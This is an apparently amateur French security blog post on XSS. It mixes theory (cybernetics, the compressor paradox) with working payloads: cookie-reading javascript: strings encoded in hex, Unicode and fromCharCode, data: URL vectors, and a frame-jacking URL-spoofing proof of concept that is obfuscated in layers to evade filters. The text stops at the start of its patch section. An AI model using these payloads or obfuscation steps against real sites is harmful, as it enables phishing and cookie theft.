[FRENCH]hack & patch : all browsers hacking

The heuristic XSS

Effectivement c’est reparti pour de nouvelles aventures de geekeries toujours plus inventives que jamais. Cette fois ci j’ai décidé de sortir un peu des sentiers battus pour vous parler du réel enjeu des failles xss. Pas l’enjeux de plus qui va permettre d’arriver au root gâce à une technique bien précise utilisant le langage d’intégration adapté a l’application tierce, mais plutôt l’Enjeu execution du javascript de manière arbitraire qui  a fait que la majorité des personnes du milieux de la sécurité ou du hack  sousestiment réellement la puissance des XSS.

Pour que vous puissiez comprendre les réels enjeux je devrais démystifier ce qui a été dit de ce qui est réellement. C’est pourquoi je vais essayer d’organiser le tout assez clairement.

Sommaire

I   – Démystification des Types de XSS

• 1.a )Rappel sur les xss
• 1.b )Démystification <script>alert(1337)</script>
• 1.c )Exemples sur IE, Firefox, Google Chrome

II – Le point de vue cybernétique des attaques

• 2.a )Introduction cybernétique
• 2.b)Parenthèse SE
• 2.c )Jouer sur les encodages, les protocoles avec javascript
• 2.d )Le principe du paradoxe du compresseur sans pertes
• 2.e )La Remasterisation d’exploit et le danger maxlength

III – How to patch ?!

• 3.a)Client patch :Browser Reversing tutorial -> XUL maxlength patch
  
• 3.b)Server patch :Frame Breaker -> How to break frames with javascript
• 3.b)Liens annexes

I   – Démystification des Types de XSS

1.a )Rappel sur les xss

src : http://fr.wikipedia.org/wiki/Cross-site_scripting

Premier type

Ce type de faille XSS, qui est dit « basé  DOM » ou « Type 0 », est connu de longue date. Dans ce cas de figure, le problème est dans le script d’une page côté client. Par exemple, si un fragment de JavaScript accède à un paramètre d’une requête d’URL, et utilise cette information pour écrire du HTML dans sa propre page, et que cette information n’est pas encodée sous forme d’entités HTML, alors il y a probablement un trou XSS, puis les données écrites seront réinterprétées par le navigateur comme du HTML contenant éventuellement un script ajouté. En pratique la manière d’exploiter une telle faille sera similaire au type suivant, sauf dans une situation très importante. À cause de la manière dont Internet Explorer traite les scripts côté client dans des objets situés dans la « zone locale » (par exemple le disque dur local du client), une faille de ce type peut conduire à des vulnérabilités d’exécution à distance. Par exemple, si un attaquant héberge un site web « malicieux » contenant un lien vers une page vulnérable sur le système local du client, un script peut être injecté et tournera avec les droits du navigateur web de l’utilisateur sur ce système. Ceci contourne complètement le « bac à sable », pas seulement les restrictions inter-domaines qui sont normalement contournées par les XSS.

Second type

Ce type de trou de sécurité, qu’on peut qualifier de « non permanent »ou temporaire, est de loin le plus commun.

Il apparaît lorsque des données fournies par un client web sont utilisées telles quelles par les scripts du serveur pour produire une page de résultats. Si les données non vérifiées sont incluses dans la page de résultat sans encodage des entités HTML, elles pourront être utilisées pour injecter du code dans la page dynamique reçue par le navigateur client.

Un exemple classique dans les moteurs de recherche des sites : si l’on recherche une chaîne qui contient des caractères spéciaux HTML, souvent la chaîne recherchée sera affichée sur la page de résultat pour rappeler ce qui était cherché, ou dans une boîte de texte pour la réédition de cette chaîne. Si la chaîne affichée n’est pas encodée, il y a une faille XSS.

À première vue, ce n’est pas un problème grave parce que l’utilisateur peut seulement injecter du code dans ses propres pages. Cependant, avec un peu d’ingénierie sociale, un attaquant peut convaincre un utilisateur de suivre une URL piégée qui injecte du code dans la page de résultat, ce qui donne à l’attaquant tout contrôle sur le contenu de cette page. L’ingénierie sociale étant requise pour l’exploitation de ce type de faille (et du précédent), beaucoup de programmeurs ont considéré que ces trous n’étaient pas très importants. Cette erreur est souvent généralisée aux failles XSS en général.

Troisième type

Ce type de vulnérabilité, aussi appelé faille permanente ou du second ordre permet des attaques puissantes. Elle se produit quand les données fournies par un utilisateur sont stockées sur un serveur (dans une base de données, des fichiers, ou autre), et ensuite réaffichées sans que les caractères spéciaux HTML aient été encodés.

Un exemple classique est celui des forums, où les utilisateurs peuvent poster des textes formatés avec des balises HTML. Ces failles sont plus importantes que celles d’autres types, parce qu’un attaquant peut se contenter d’injecter un script une seule fois et atteindre un grand nombre de victimes sans recourir à l’ingénierie sociale.

Il y a diverses méthodes d’injection, qui ne nécessitent pas forcément que l’attaquant utilise l’application web elle-même. Toutes les données reçues par l’application web (par email, journaux, etc.) qui peuvent être envoyées par un attaquant doivent être encodées avant leur présentation sur une page dynamique, faute de quoi une faille XSS existe.

1.b )Démystification <script>alert(1337)</script>

Je me dois de rajouté quelques information  pour clarifier le fond des choses.

Tout d’abord il existe  plusieurs variantes aux classements des XSS de second type. Le second type aborde le sujet des XSS qui sont temporaires , c’est-à-dire que un utilisateur va cliqué sur un lien malicieux comme :

http://vulnerable/faille.php?Var=’><script>alert(1337)</script>

L’utilisateur ciblé dans l’attaque va devoir cliquer sur le lien malicieux pour que la xss s’exécute, une fois le lien cliqué la victime verra s’afficher une boite de dialogue affichant le nombre 1337. Jusqu’ici rien de nouveau, par contre il est possible que depuis que l’utilisateur ait cliqué sur le lien malicieux, à chaque rechargement  ou changement de page sur le même site une boite de dialogue apparaisse. En réalité la xss bien qu’elle soit temporaire  sera persistante, en anglais reflected( qui se reflète sur les autres pages).

Il est important de discerner les xss non persistantes des xss persistantes, car les enjeux de l’exploitation ne sont pas les mêmes. Une xss persistante est du à  l’exploitation d’une variable ou un paramètre vulnérable  qui sera utilisée sur plusieurs pages visées par l’application. Ce qui permettra donc  à un script malicieux d’être exécuté et maintenu en exécution sur une cible sans trop d’intervention.

Un autre point important que nous aborderons plus tard est que toute les xss de second et troisième type peuvent être couplées avec les xss du premier  type , le premier type concernant les xss du niveau DOM. Donc  toutes les xss sont susceptible d’être exécutée au niveau DOM(level 0). Des vulnérabilités ont donc été ommises lors de l’écriture des definitions sur wikipedia, étant donné que les xss persistantes ne sont mentionnées nulle part nous pourront parler de ce qui n’existe pas .

Il est possible de reflèté ou  faire persister toutes les xss temporaires en les transferant en xss DOM et c’est là que sa va devenir interessant.

Si toute les xss peuvent permettre l’exécution de JavaScript malicieux au niveau 0, celui du navigateur, les contraintes  SOP devront être respectées lors de l’injection  du code. Le niveau 0 des xss contiendra toute la partie coding javascript de l’exploitation.  Le premier but sera de faire passer une xss temporaire en XSS persistante. Quand une xss est persistante, elle maintiendra son exécution de manière invisible sur  plusieurs pages vulnérable ciblée nous pourrons ainsi usurpé l’identité de la source de la page que l’utilisateur ciblé visitera.

1.c )Exemple sur IE, Firefox, Google Chrome

Effet DOM sur les navigateurs :

Dans l’ exemple suivant nous allons tester les résultat des xss DOM sur le navigateur ,  les navigateurs utilisés seront Google chrome , firefox , et Internet explorer, toute dernières versions .

Le script de test inséré dans l’url :

Javascript :document.write(1337)

Remarque: sur Google chrome rien n’est écrit car la requête n’a pas marchée. De plus sur internet explorer l’adresse de google.fr s’affiche car il correspond  a l’adresse du site visité précédemment. Quelle bizarrerie , nous essaierons de profiter de ce bug en continuant à approfondir cette technique.

II – Le point de vue cybernétique des attaques

2.a )Introduction cybernétique

La cybernétique selon wikipedia (http://fr.wikipedia.org/wiki/Cybern%C3%A9tique)

La cybernétique est une modélisation de l’échange, par l’étude de l’information et des principes d’interaction. Elle peut ainsi être définie comme la science des systèmes autorégulés, qui ne s’intéresse pas aux composantes, mais à leurs interactions, où seul est pris en compte leur comportement global.

Le terme cybernétique fut formalisé en 1947 par le mathématicien Norbert Wiener et sera plus tard désigné comme « la science des analogies maîtrisées entre organismes et machines »

En  réalité les failles de cross site scripting lorsqu’elles sont exploitées sont les failles qui lieront l’utilisateur humain (victime) à la machine par l’intermédiaire du navigateur et du serveur, il y aura donc interaction et codage/conversion de l’information dans les differents milieux ou l’information va se propager. Dans ce cas ci nous allons nous intéresser plutot à la programmation orientée objet , donc obligatoirement aux interactions diverses et possibles liées à ces objets par les langages. Les réels enjeux d’une attaque seront donc relatifs à la complexité d’information qu’elles vont produire ou générer. Comme vous êtes censé le savoir la machine de Turing , l’ancêtre de l’ordinateur moderne à été conçue par des mathématiciens, théoriciens ,chercheurs se servant des conaissance scientifiques sur le cerveau humain et ses divers moyens d’interprété l’information par des calculs.

Nous allons faire un rappel wikipèdien sur la théorie algorythmique de l’information, j’ai souligné les information que nous prendrons en compte par la suite.

src : http://fr.wikipedia.org/wiki/Th%C3%A9orie_algorithmique_de_l%27information

La Théorie algorithmique de l’information, initiée par Kolmogorov, Solomonov et Chaitin dans les années 1960, vise à quantifier et qualifier le contenu en information d’un ensemble de données, en utilisant la théorie de la calculabilité et la notion de machine universelle de Turing.

Cette théorie permet également de formaliser la notion de complexité d’un objet, dans la mesure où l’on considère qu’un objet (au sens large) est d’autant plus complexe qu’il faut beaucoup d’informations pour le décrire, ou – à l’inverse -, qu’un objet contient d’autant plus d’informations que sa description est longue. La théorie algorithmique de l’information est fondée sur cette équivalence : la description d’un objet est formalisée par un algorithme d’une machine de Turing, et sa complexité, ou son contenu en information, est alors formalisé par certaines caractéristiques de l’algorithme : sa longueur ou son temps de calcul.

Ces fondements sont différents de ceux de la théorie de l’information de Shannon : cette dernière n’utilise pas la notion de calculabilité et n’a de sens que par rapport à un ensemble statistique de données. Cependant, les deux théories sont compatibles et des liens formels entre elles peuvent être établis.

Alors que la théorie de l’information de Shannon n’a eu que peu d’applications en dehors de l’informatique, la théorie algorithmique de l’information a été utilisée avec succès dans les domaines de la biologie, de la physique et même de la philosophie.

Présentation informelle

L’idée principale de la théorie algorithmique de l’information, est qu’une chose est d’autant plus complexe, ou contient d’autant plus d’information, qu’elle est difficile à expliquer, c’est-à-dire fondamentalement longue à expliquer. Voici par exemple trois descriptions d’objets :

D1 : « un mur tout blanc de 1 m sur 1 m. »

D2 : « un mur tout blanc de 1m sur 1m, avec une rayure rouge horizontale de 2 cm de large en bas, une autre 8 cm au dessus, encore une autre 8 cm au dessus, encore une autre 8 cm au dessus, encore une autre 8 cm au dessus, encore une autre 8 cm au dessus, encore une autre 8 cm au dessus, encore une autre 8 cm au dessus, encore une autre 8 cm au dessus, encore une autre 8 cm au dessus et une dernière encore 8 cm au dessus. »

D2′ : « un mur tout blanc de 1 m sur 1 m, avec des rayures rouges horizontales de 2 cm de large, de bas en haut tous les 10 cm. »

En termes de longueur de description, D1 est plus courte que D2′ qui est plus courte que D2. Que D1 soit la plus courte description semble normal, et est lié au fait que l’objet décrit est « plus simple ». Mais en ce qui concerne D2 et D2′, les objets décrits sont identiques bien que D2′ soit plus courte que D2. Ainsi la longueur brute d’une description n’est pas une mesure parfaitement adapté.

L’idée « algorithmique » est alors de considérer, comme complexité de l’objet décrit, sa plus courte description possible. Idée « algorithmique » dans le sens où la description n’est pas forcément extensive, mais peut – comme D2′ dans l’exemple ci-dessus – décrire un procédé d’obtention de l’objet (ici : tracer des bandes horizontales à intervalles réguliers).

Ainsi, un objet sera d’autant plus compliqué qu’on ne peut le décrire plus brièvement qu’une liste exhaustive de ses propriétés… ce dernier cas constituant le cas limite d’une complexité maximale.

Si la machine de Turing est basé sur ces principes nos ordinateurs aussi, donc en théorie chaque contradiction existante dans les calculs pourront être répercuttés sur nos OS préférés. Je vous invite à lire la théorie de l’information de Shannon  et plus particulièrements les chapitres traitants du codage de l’information et de la compression de données.

2.b)Parenthèse SE (ingénieurie sociale)

Un petit rappel sur le « Smart SE » (smart social engineering) , dans le cas des failles xss heuristiques le SE ne fait pas forcément partie intégrante de l’attaque mais il est trés souvent utilisé pour faire visiter des liens malicieux par les victimes. Le principe de cybernétique pure servira fréquemment dans l’ingénieurie sociale de l’attaquant pour engendrer la première transaction Homme -> machine (en s’aidant d’une ou plusieurs  informations malicieuses). Le tout aboutissant à une manipulation malicieuse , nous ne nous intéresserons pas à la forme mais plutot au fond (fubar).

Le trajet de l’information dans le cerveau humain

Le lien ainsi envoyé sera du type :

<balise src= »javascript:PoC » />

<balise src= »data:PoC » />

<balise src= »http://foo » onevenement= »javascript:PoC » />

<balise src= »http://foo » onevenement= »data:PoC » />

Pour les autres variantes je vous invite à lire la vector list .

2.c )Jouer sur les encodages, les protocoles avec javascript

Le  but  n’est pas de vous donner un maximum de moyens d’executer du javascript de manière malicieuse sur votre navigateur,  mais plutot de vous démontrer les enjeux des possibilitées d’encodages multiples et d’encapsulation javascript. alors j’aborderais les 2 protocoles d’execution javascript les plus connus (le protocole javascript et le protocole data).

Le protocole DATA :

On peut écrire le même chose mais differement en utilisant divers encodages :

RFC 2397 says:

Syntax

dataurl := « data: » [ mediatype ] [ ";base64" ] « , » data

mediatype := [ type "/" subtype ] *( « ; » parameter )

data := *urlchar

parameter := attribute « = » value

iso-8859-1 data url 

iso-8859-2 data url test 

iso-50 data url test

1337 Charset Data url test

woot charset data url test

Damn its malicious! inexistant parameter  Data url test

Tout peut etre executé sur une seule ligne

Data URL concatenation fun!

PoC:

data:text/html;[parameter or fake param],[ html or url encoded html ]

Les differents vecteurs sont disponible sur la   vector list .

src Data url Vectors update

Utf8 data url

Base64 data url

UTF7 data url

UTF-16 in BASE64/UTF-7/UTF-8 mixture

UTF-16 in BASE64

UTF-7 in BASE64

obfuscated UTF-7 in BASE64

obfuscated Xul xss xml in base64

Variante Xul xss 1

obfuscated
Image svg+xml in base64

variante xul xss 2

obfuscated xul xss utf7 en base64

xul/xml dataurl with a w00t tag and javascript on event 

Le protocole javascript :

Voila quelques exemples d’utilisations des encodages javascript , dans la démonstration ci dessous nous utiliserons une simple alert javascript, vous comprenez que la taille du script change mais son effet reste le même.

Document cookie avec alert javascript :
Javascript:alert(document.cookie +' frhack’)

Document cookie avec alert javascript encodé en hexadécimal :
Javascript:document.write(unescape("\x3c\x73\x63\x72\x69\x70\x74\x3e\x61\x6c\x65\x
\x74\x28\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x63\x6f\x6f\x6b\x69\x65\x20\x2b\x27\x20\x
6\x72\x68\x61\x63\x6b\x27\x29\x3c\x2f\x73\x63\x72\x69\x70\x74\x3e"))

Document cookie avec alert JavaScript encodé en Unicode:
Javascript:document.write('\u003c\u0073\u0063\u0072\u0069\u0070\u0074\u003e\u006
u006c\u0065\u0072\u0074\u0028\u0064\u006f\u0063\u0075\u006d\u0065\u006e\u0074\u
02e\u0063\u006f\u006f\u006b\u0069\u0065\u0020\u002b\u0027\u0020\u0066\u0072\u00
\u0061\u0063\u006b\u0027\u0029\u003c\u002f\u0073\u0063\u0072\u0069\u0070\u0074\u
03e')


Document cookie avec alert JavaScript encodé en fromcharcode
javascript:document.write(String.fromCharCode(60, 115, 99, 114, 105, 112, 116, 62, 97,
108, 101, 114, 116, 40, 100, 111, 99, 117, 109, 101, 110, 116, 46, 99, 111, 111, 107, 105,
101, 32, 43, 39, 32, 102, 114, 104, 97, 99, 107, 39, 41, 60, 47, 115, 99, 114, 105, 112, 116,
62))

2.d )Le principe du paradoxe du compresseur sans pertes

Lorsque fut lancé par IBM son système OS/2, les lecteurs de CD n’étaient pas généralisés et  le système était  fourni sur 17 disquettes,   ce   qui   en   rendait   l’installation   pénible.   À   une demande de  la direction soucieuse de savoir   si   l’on pouvait réduire cette taille, la légende dit que la réponse aurait été :

« Nous pouvons le faire tenir compressé sur une seule disquette, mais à l’aide d’un compresseur si complexe qu’il en occupera seize ».

C’était là le fameux paradoxe initial.Le paradoxe du compresseur s’applique à tout compresseur de   données   informatiques   sans   perte.   Il   exprime   qu’un compresseur  sans perte universel  ne peut  pas exister.

Plus précisément, pour tout compresseur sans perte, on est certain que :

1. il est impossible de compresser strictement tous les mots
2. s’il existe un mot qui est strictement compressé alors  il existe   un   autre  mot   dont   la   version   compressée  est strictement plus grande que le mot lui-même ;
3. pour n’importe quel mot de départ auquel on applique de manière répétée le compresseur, on est nécessairement dans l’un des cas de figure suivants :

• soit une suite de mots se répète infiniment,
• soit   les mots successifs obtenus atteignent des  tailles arbitrairement grandes.

src: http://fr.wikipedia.org/wiki/Paradoxe_du_compresseur

Le paradoxe du compresseur comme la plupart des paradoxes se répercuterra sur plusieur milieux scientifiques , premierement en mathématiques (algèbrique), ensuite en géométrie, en programmation et meme en design. Pour ceux qui crierons a l’antinomie je leur donne la définition du fabuleux wikipedia.

Le paradoxe (substantif masculin) est une proposition qui contient ou semble contenir une contradiction logique, ou un raisonnement qui, bien que sans faille apparente, aboutit à une absurdité, ou encore, une situation qui contredit l’intuition commune. Le paradoxe est un puissant stimulant pour la réflexion. Il nous révèle soit les faiblesses de l’esprit humain et plus précisément son manque de discernement, soit les limites de tel ou tel outil conceptuel. C’est ainsi que des paradoxes basés sur des concepts simples ont souvent amené à de grands progrès en science ou en philosophie.

Approche geométrique du paradoxe :

Parlons des travaux de Gauss.
Johann Carl Friedrich Gauß (traditionnellement transcrit Gauss en français) (30 avril 1777 — 23 février 1855) est un mathématicien, astronome et physicien allemand. Doté d’un grand génie, il a apporté de  très  importantes contributions à ces  trois sciences. Surnommé «  le prince des  mathématiciens »,   il  est  considéré comme  l’un des plus grands mathématiciens de  tous  les temps.
Le mathématicien Allemand a prouvé   que la manière la plus efficace d’empiler/compresser des cercles dans une surface rectangulaire est d’utiliser un empilement hexagonal. En 1940 selon les travaux de   L. Fejes Tóth il s’avéré que l’empilement hexagonal fut la meilleure manière de
compresser des figures de même forme quelque soit la surface. Malheureusement pour lui les  abeilles le savaient déjà.

Figure de droite : schéma de Steinhaus (1999)
Avec densité de compression de:

Le paradoxe du compresseur 2 by n disk packing paradox :

La surface carrée ci-dessus nous montre qu’il est facile d’entreposé 2n unité de disques dans un rectangle de largeur 2 x n en remplissant 2 disque à  la fois. A première vue  la meilleure solution d’entreposer  les disques selon n semble être la première méthode. Il est surprenant de voir que si n est suffisamment grand, plus de disques pourront être entreposé dans le rectangle. Le rectangle du dessous nous démontre qu’un rectangle de 2 x 164 unités de tailles peut être remplis de 329 disques. A chaque extrémité il y a 7 disques et il y a 105 paquets de 3 disques au milieu. On constate que la compression par paquets de 3 est plus efficace. On peut voir le fameux paradoxe qui se situe au début de la séquence au niveau du 20 ème cercle.Ces illustrations ont été tirées du 2-by-n disk paradox. http://demonstrations.wolfram.com/2ByNDiskPackingParadox/

Je vous entends crier a la sorcellerie mentale , certes,vous continuez à penser qu’un objet (au sens large) est d’autant plus complexe qu’il faut beaucoup d’informations pour le décrire, ou – à l’inverse -, qu’un objet contient d’autant plus d’informations que sa description est longue. c’est que vous ne vous ètes jamais penchez sur le packing ou la compression. Et bien on va faire un retour aux sources javascript pour voir si c’est possible.

Démonstration du paradoxe en javascript

Un  anglais freelancer du nom de Dean Edwards à créé un compresseur de code opensource écrit en javascript, nous allons nous en servir pour vous démontrer que la règle 3 du paradoxe du compresseur s’applique aussi sur le packer javascript de Dean.Rappel de la 3ème règle :
Pour n’importe quel mot de départ auquel on applique de manière répétée le compresseur, on est nécessairement dans l’un des cas de figure suivants :

• soit une suite de mots se répète infiniment,
• soit les mots successifs obtenus atteignent des tailles arbitrairement grandes.

Dans l’exemple,  nous allons utiliser une boite de message alert javascript .

<script>alert(« attackvector »)</script>

On passe notre script dans le compresseur  de Dean , nous remarquons que  la taille initiale du compresseur  est plus élevée que
l ‘alert d’exemple à compresser.

<script>eval(function(p,a,c,k,e,d){e=function(c){return c};if(!''.replace(/^/,String)){while(c--){d[c]=k[c]||c}k=[function(e){return
d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}
('<0>1(\'2\')</0>',3,3,'script|alert|attackvector'.split('|'),0,{}))</script>

Comme le confirme la complexité abordée dans la théorie algorythmique de l’information  la longueur brute d’une description n’est pas une mesure parfaitement adapté et c’est a cet endroit que le problème commence. Nous allons pouvoir tester ça en grandeur nature(sur firefox de préférence car tous le monde apprécie sa hackabilité) grâce au javascript.

2.e )La Remasterisation d’exploit et le danger maxlength

Beware the urlbarmitzvah !

La remasterisation d’exploits

En 4 étapes je vais essayer de vous montrer à quel point il est possible d’écrire un script de plusieurs manières possibles  ,  on constate qu’en exploitant la taille des scripts nous pouvons mettre plusieurs couche d’encodages , compression dans le but de rendre la source de la page illisible par l’utilisateur lambda.

Url cache poisoning PoC

L’URL cache poisoning ou empoisonnement de cache URL est une technique d’attaque dérivée des failles cross site scripting pouvant être utilisée comme payload à l’intérieur d’un attribut d’une balise html dans le but d’usurper l’url d’un site vulnérable en affichant une page malicieuse identique tout en conservant l’url du site visé. Cette faille utilise une iframe ou une frame prenant cent pour cent de la taille de la page pour rendre l’attaque indécelable. Cette technique comporte une multitude de variantes utilisant les protocoles standard d’internet et différentes manières d’encodage et/ou de compression.

Etape 1  Remasterisation de l’exploit frame Jacking :

<frameset rows="100%">
<!-- wtf ?? frame jacking ? -->
<frame noresize="noresize" frameborder="0" title="poc frame jacking" src="http://foo.proxy">
<!-- its time to bypass filters -->
</frame>
</frameset>

Etape 2 : encodage html escape :

document.write(unescape("%3Cframeset%20rows%3D%22100%25%22%3E%0A%3C%21--%20wtf%20%3F%3F%20frame%20jacking%20%3F%20--%3E%0A%3Cframe%20noresize%3D%22noresize%22%20frameborder%3D%220%22%20title%3D%22poc%20frame%20jacking%22%20src%3D%22http%3A%2F%2Ffoo.proxy%22%3E%0A%3C%21--%20its%20time%20to%20bypass%20filters%20--%3E%0A%3C%2Fframe%3E%0A%3C%2Fframeset%3E"));

Etape3 compression du script obtenu en étape2 grace au packer de dean edwards

eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('j.i(k("%l%m%3%h%g%1%0%2%5%7--%b%4%6%6%8%9%4%6%4--%0%2%c%d%3%f%1%e%3%n%1%o%3%x%8%9%1%z%3%v%u%q%p.r%1%0%2%5%7--%B%t%s%w%a%4--%0%2%5%y%0%2%5%A%0"));',38,38,'3E|22|0A|3D|20|3C|3F|21|20frame|20jacking|20filters|20wtf|3Cframe|20noresize|20frameborder|22noresize|25|22100|write|document|unescape|3Cframeset|20rows|220|20title|2Ffoo|2F|proxy|20to|20time|3A|22http|20bypass|22poc|2Fframe|20src|2Fframeset|20its'.split('|'),0,{}))

Etape4 encodage du tout en unicode :

<script>document.write('\u003c\u0073\u0063\u0072\u0069\u0070\u0074\u003e\u0
065\u0076\u0061\u006c\u0028\u0066\u0075\u006e\u0063\u0074\u0069\u006f\u006e\u0028\u0070\u002c\u0061\u002c\u0063\u002c\u006b\u002c\u0065\u002c\u0064\u0029\u007b\u0065\u003d\u0066\u0075\u006e\u0063\u0074\u0069\u006f\u006e\u0028\u0063\u0029\u007b\u0072\u0065\u0074\u0075\u0072\u006e\u0028\u0063\u003c\u0061\u003f\u0027\u0027\u003a\u0065\u0028\u0070\u0061\u0072\u0073\u0065\u0049\u006e\u0074\u0028\u0063\u002f\u0061\u0029\u0029\u0029\u002b\u0028\u0028\u0063\u003d\u0063\u0025\u0061\u0029\u003e\u0033\u0035\u003f\u0053\u0074\u0072\u0069\u006e\u0067\u002e\u0066\u0072\u006f\u006d\u0043\u0068\u0061\u0072\u0043\u006f\u0064\u0065\u0028\u0063\u002b\u0032\u0039\u0029\u003a\u0063\u002e\u0074\u006f\u0053\u0074\u0072\u0069\u006e\u0067\u0028\u0033\u0036\u0029\u0029\u007d\u003b\u0069\u0066\u0028\u0021\u0027\u0027\u002e\u0072\u0065\u0070\u006c\u0061\u0063\u0065\u0028\u002f\u005e\u002f\u002c\u0053\u0074\u0072\u0069\u006e\u0067\u0029\u0029\u007b\u0077\u0068\u0069\u006c\u0065\u0028\u0063\u002d\u002d\u0029\u007b\u0064\u005b\u0065\u0028\u0063\u0029\u005d\u003d\u006b\u005b\u0063\u005d\u007c\u007c\u0065\u0028\u0063\u0029\u007d\u006b\u003d\u005b\u0066\u0075\u006e\u0063\u0074\u0069\u006f\u006e\u0028\u0065\u0029\u007b\u0072\u0065\u0074\u0075\u0072\u006e\u0020\u0064\u005b\u0065\u005d\u007d\u005d\u003b\u0065\u003d\u0066\u0075\u006e\u0063\u0074\u0069\u006f\u006e\u0028\u0029\u007b\u0072\u0065\u0074\u0075\u0072\u006e\u0027\u005c\u005c\u0077\u002b\u0027\u007d\u003b\u0063\u003d\u0031\u007d\u003b\u0077\u0068\u0069\u006c\u0065\u0028\u0063\u002d\u002d\u0029\u007b\u0069\u0066\u0028\u006b\u005b\u0063\u005d\u0029\u007b\u0070\u003d\u0070\u002e\u0072\u0065\u0070\u006c\u0061\u0063\u0065\u0028\u006e\u0065\u0077\u0020\u0052\u0065\u0067\u0045\u0078\u0070\u0028\u0027\u005c\u005c\u0062\u0027\u002b\u0065\u0028\u0063\u0029\u002b\u0027\u005c\u005c\u0062\u0027\u002c\u0027\u0067\u0027\u0029\u002c\u006b\u005b\u0063\u005d\u0029\u007d\u007d\u0072\u0065\u0074\u0075\u0072\u006e\u0020\u0070\u007d\u0028\u0027\u006a\u002e\u0069\u0028\u006b\u0028\u0022\u0025\u006c\u0025\u006d\u0025\u0033\u0025\u0068\u0025\u0067\u0025\u0031\u0025\u0030\u0025\u0032\u0025\u0035\u0025\u0037\u002d\u002d\u0025\u0062\u0025\u0034\u0025\u0036\u0025\u0036\u0025\u0038\u0025\u0039\u0025\u0034\u0025\u0036\u0025\u0034\u002d\u002d\u0025\u0030\u0025\u0032\u0025\u0063\u0025\u0064\u0025\u0033\u0025\u0066\u0025\u0031\u0025\u0065\u0025\u0033\u0025\u006e\u0025\u0031\u0025\u006f\u0025\u0033\u0025\u0078\u0025\u0038\u0025\u0039\u0025\u0031\u0025\u007a\u0025\u0033\u0025\u0076\u0025\u0075\u0025\u0071\u0025\u0070\u002e\u0072\u0025\u0031\u0025\u0030\u0025\u0032\u0025\u0035\u0025\u0037\u002d\u002d\u0025\u0042\u0025\u0074\u0025\u0073\u0025\u0077\u0025\u0061\u0025\u0034\u002d\u002d\u0025\u0030\u0025\u0032\u0025\u0035\u0025\u0079\u0025\u0030\u0025\u0032\u0025\u0035\u0025\u0041\u0025\u0030\u0022\u0029\u0029\u003b\u0027\u002c\u0033\u0038\u002c\u0033\u0038\u002c\u0027\u0033\u0045\u007c\u0032\u0032\u007c\u0030\u0041\u007c\u0033\u0044\u007c\u0032\u0030\u007c\u0033\u0043\u007c\u0033\u0046\u007c\u0032\u0031\u007c\u0032\u0030\u0066\u0072\u0061\u006d\u0065\u007c\u0032\u0030\u006a\u0061\u0063\u006b\u0069\u006e\u0067\u007c\u0032\u0030\u0066\u0069\u006c\u0074\u0065\u0072\u0073\u007c\u0032\u0030\u0077\u0074\u0066\u007c\u0033\u0043\u0066\u0072\u0061\u006d\u0065\u007c\u0032\u0030\u006e\u006f\u0072\u0065\u0073\u0069\u007a\u0065\u007c\u0032\u0030\u0066\u0072\u0061\u006d\u0065\u0062\u006f\u0072\u0064\u0065\u0072\u007c\u0032\u0032\u006e\u006f\u0072\u0065\u0073\u0069\u007a\u0065\u007c\u0032\u0035\u007c\u0032\u0032\u0031\u0030\u0030\u007c\u0077\u0072\u0069\u0074\u0065\u007c\u0064\u006f\u0063\u0075\u006d\u0065\u006e\u0074\u007c\u0075\u006e\u0065\u0073\u0063\u0061\u0070\u0065\u007c\u0033\u0043\u0066\u0072\u0061\u006d\u0065\u0073\u0065\u0074\u007c\u0032\u0030\u0072\u006f\u0077\u0073\u007c\u0032\u0032\u0030\u007c\u0032\u0030\u0074\u0069\u0074\u006c\u0065\u007c\u0032\u0046\u0066\u006f\u006f\u007c\u0032\u0046\u007c\u0070\u0072\u006f\u0078\u0079\u007c\u0032\u0030\u0074\u006f\u007c\u0032\u0030\u0074\u0069\u006d\u0065\u007c\u0033\u0041\u007c\u0032\u0032\u0068\u0074\u0074\u0070\u007c\u0032\u0030\u0062\u0079\u0070\u0061\u0073\u0073\u007c\u0032\u0032\u0070\u006f\u0063\u007c\u0032\u0046\u0066\u0072\u0061\u006d\u0065\u007c\u0032\u0030\u0073\u0072\u0063\u007c\u0032\u0046\u0066\u0072\u0061\u006d\u0065\u0073\u0065\u0074\u007c\u0032\u0030\u0069\u0074\u0073\u0027\u002e\u0073\u0070\u006c\u0069\u0074\u0028\u0027\u007c\u0027\u0029\u002c\u0030\u002c\u007b\u007d\u0029\u0029\u000a\u003c\u002f\u0073\u0063\u0072\u0069\u0070\u0074\u003e')</script>

Conséquence de l’attaque :

• Disparition ou obfuscation du code source
• Transformation de xss temporaire en xss persistante à l’aide d’un proxy MITM
• URL spoofing permettant d’usurper l’adresse du site grâce à une frame
• Compatible avec le protocole javascript donc sur tous les navigateurs modernes
• énormément de variante sur l’obfuscation du code sont possible (plus de 100 en comptant les 65charset des protocoles data)
• Marche sur tous les types de xss

Le soucis de l’attaque demeure dans les possibilités de réécrire le meme script de plusieurs manieres différentes ce qui pourrait permettre a un utilisateur malicieux de remasteriser ses exploit a l’infini en outrepassant certaines signatures antivirus par la même occasion.

Scenario d’attaque possible:

Schéma du type d’attaque auquel s’ouvre la technique :

Le danger Maxlength

Plus la taille de l’url est longue et plus les possibilitées de polymorphisme pour le scripting des sources malicieuse seront nombreuses. Donc les meilleurs moyens de sécuriser le tout sera d’abord  de filtrer ce qui passera par le protocole javascript ou data à l’intérieur du navigateur grace à des filtres, noscript (http://noscript.net/) , adblock   conçu à cet effet. Ensuite la meilleur manière de prévenir l’attaque est de l’informer qu’il utilise le protocole javascript pour le sensibiliser des risques potentiels. Le soucis dans le cas de firefox deumeurre dans le fait que le plugin noscript n’est pas installé nativement dans le package d’installation. Les CSP actuels ne filtrant pas assez le contenu. Dans tous les cas je profiterais de la « hackabilité » de firefox pour expliquer le correctif à adopter.

III   – How to patch ?!

3.a)Client patch :Browser Reversing tutorial -> XUL maxlength patch

Comment patché l’urlbar de firefox (à la source) :

